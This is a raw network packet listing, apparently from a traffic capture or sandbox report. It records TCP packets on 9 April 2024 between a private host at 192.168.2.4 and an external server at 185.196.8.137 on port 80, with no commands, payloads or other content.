Apr 9, 2024 14:54:07.337851048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337874889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337897062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337918997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337939978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337965965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337980986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337995052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338027000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338041067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338051081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338068962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338089943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338115931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338126898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338150978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338172913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338191032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338213921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338233948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338249922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338269949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338289022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338309050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338323116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338344097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338361979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338381052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338396072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338418961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338439941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338460922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338474989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338496923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338520050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338536978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338553905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338571072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338588953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338608027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338644028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338644028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338660955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338690042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338707924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338723898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338741064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338756084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338778973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338789940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338814974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338838100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338910103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338926077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.338946104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339023113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339039087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339061975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339082956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339271069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339288950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339313984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339399099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339413881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339435101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339453936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339476109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339489937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339509964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339529037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339543104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339566946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339586020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339592934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339612961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339633942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339649916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339667082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339694023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339709044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339718103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339736938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.339756966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.345751047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.345843077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346163988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346185923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346203089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346218109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346229076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346234083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346250057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346254110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346266031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346276999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346287012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346290112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346307039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346313953 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346337080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346354961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.346359968 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346383095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.346406937 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388355970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388400078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388423920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388444901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388467073 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388489962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388513088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388535023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388636112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388659000 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388679981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388802052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388837099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388912916 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.388945103 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389008045 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389065981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389101028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389168978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389223099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389436960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389468908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389544010 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389575958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389642000 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389709949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389743090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389775991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389807940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389839888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389870882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389902115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389964104 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.389996052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390028954 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390180111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390213013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390249014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390325069 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390357018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390389919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390484095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390515089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390564919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390599012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390666008 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390697956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390728951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390790939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390896082 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390927076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390958071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.390991926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391025066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391130924 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391163111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391223907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391283989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391345024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391408920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391443014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391546965 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391580105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.391654015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.392827988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.392939091 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.392971039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393052101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393086910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393155098 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393210888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393265963 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393309116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393342018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393373013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393445969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393513918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393547058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393578053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393620014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393716097 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393748045 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393779993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393811941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393842936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393910885 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.393943071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394004107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394038916 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394145012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394179106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394211054 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394244909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394277096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394309044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394385099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394417048 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394460917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394530058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394562006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394578934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.394598007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394630909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394663095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394694090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394726038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394843102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394875050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394906044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394937038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.394968987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395000935 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395037889 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395070076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395102024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395132065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395164967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395226955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395328999 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395360947 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395392895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395454884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395471096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395493031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395541906 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395556927 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395626068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395641088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395654917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395677090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395735025 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395750999 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395802975 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395867109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395880938 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395950079 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.395965099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396022081 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396090984 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396137953 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396152973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396210909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396234989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396250963 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396337032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396352053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396383047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396398067 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396439075 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396473885 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396488905 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396553993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396569967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396622896 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396637917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396651983 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396714926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396730900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396744967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396775007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396790028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396859884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396923065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.396965027 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397017002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397077084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397118092 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397192955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397233009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397304058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397346020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397432089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.397891045 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398060083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398080111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398133993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398317099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398332119 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398376942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398469925 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398484945 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398536921 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398580074 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398737907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398842096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.398857117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399056911 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399099112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399117947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.399149895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399211884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399228096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399302006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399416924 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399456024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399497986 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399787903 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.399884939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400269032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400407076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400602102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400618076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400662899 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400677919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400701046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400866032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400882006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400897026 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.400945902 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401000023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.401021957 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401103020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401163101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401232958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401247978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401297092 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401390076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401454926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401469946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401506901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401520967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401577950 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401592970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401608944 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401664972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401679039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401823044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401880980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401896000 CEST	80	49744	185.196.8.137	192.168.2.4
